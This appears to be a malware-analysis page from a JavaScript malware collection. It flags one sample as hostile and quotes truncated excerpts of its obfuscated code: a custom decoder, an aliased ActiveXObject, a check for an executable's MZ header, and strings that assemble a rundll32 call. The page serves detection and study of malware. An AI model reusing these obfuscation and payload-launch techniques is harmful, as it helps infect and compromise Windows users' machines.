Hostile ^100% javascript-malware-collection Download

20161220_6e54d119c124bebaaa3e28a8d6b902d1.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-25644952a27aa5a0c4749cce667b452ae882b92a49f8a7073143edae7efa39335c0

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikcrierFROG2XCOP = 0;	
9     var SupchikcrierRazlomSS, SupchikcrierFROG2ddDccC2, SupchikcrierFROG2c3, SupchikcrierFROG2c4;
10
11     var SupchikcrierFROG2out = "";
12
13	 var SupchikcrierFROG2Supchikcrierka= this.replace(/FROSTICK/gi, SupchikcrierFROG2out);
14 var  SupchikcrierFROG2len = SupchikcrierFROG2sud(Supchikc …

charCodeAt() method call lines 17–20

17do {
	 var Supchikcrierkoch = SupchikcrierFROG2Supchikcrierka.charCodeAt(SupchikcrierFROG2XCOP++) &(0x132- 0x33);
          SupchikcrierRazlomSS = levitron[Supchikcrierkoch];
      } while (SupchikcrierFROG2XCOP < SupchikcrierFROG2le …

Builds characters with String.fromCharCode lines 27–35

35… C2 +1== 0)
          break;
      SupchikcrierFROG2out += String['fromCharCode']((SupchikcrierRazlomSS << 2) | ((SupchikcrierFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikcrierFROG2c3 = SupchikcrierFROG2Supchikcrierka.charCodeAt(SupchikcrierFROG2XCOP++) & 0xff;
31
          if (SupchikcrierFROG2c3 == 10*6+0.5*2)
              return SupchikcrierFROG2out;
34
          Supchikcrie …

ActiveXObject via local alias lines 185–189

185:10… hikcrierFROG2d2=SupchikcrierFROG2DoUtra.pop();
186SupchikcrierFROG2fabled="Valar2Morgulis";
187 var SupchikcrierFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikcrierFROG2d2.split("45");SupchikcrierFROG2Native.SupchikcrierFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikcrierFROG2$type(a)===b})};
189Supchik …

Checks array for PE magic bytes lines 257–264

62… crierTalabaev);	
if(SupchikcrierTalabaevLaa < 29989)return false;
if (SupchikcrierTalabaev[0]!= 77 || SupchikcrierTalabaev[1]!= 90)return false;		
SupchikcrierFROG2CHICKA = SupchikcrierFROG2CHICKA  + SupchikcrierFROG2SIDRENKOV;
REBEKK2(SupchikcrierFROG2CHICKA, SupchikcrierTalabaev );
262
var SupchikcrierFROG2ddsSSddSd = ",happy";
264SupchikcrierFROG2ddsSSddSd = (SupchikcrierFROG2StrokaParam2,"undl") + (SupchikcrierFROG2StrokaParam2,"l32 ") + SupchikcrierFR …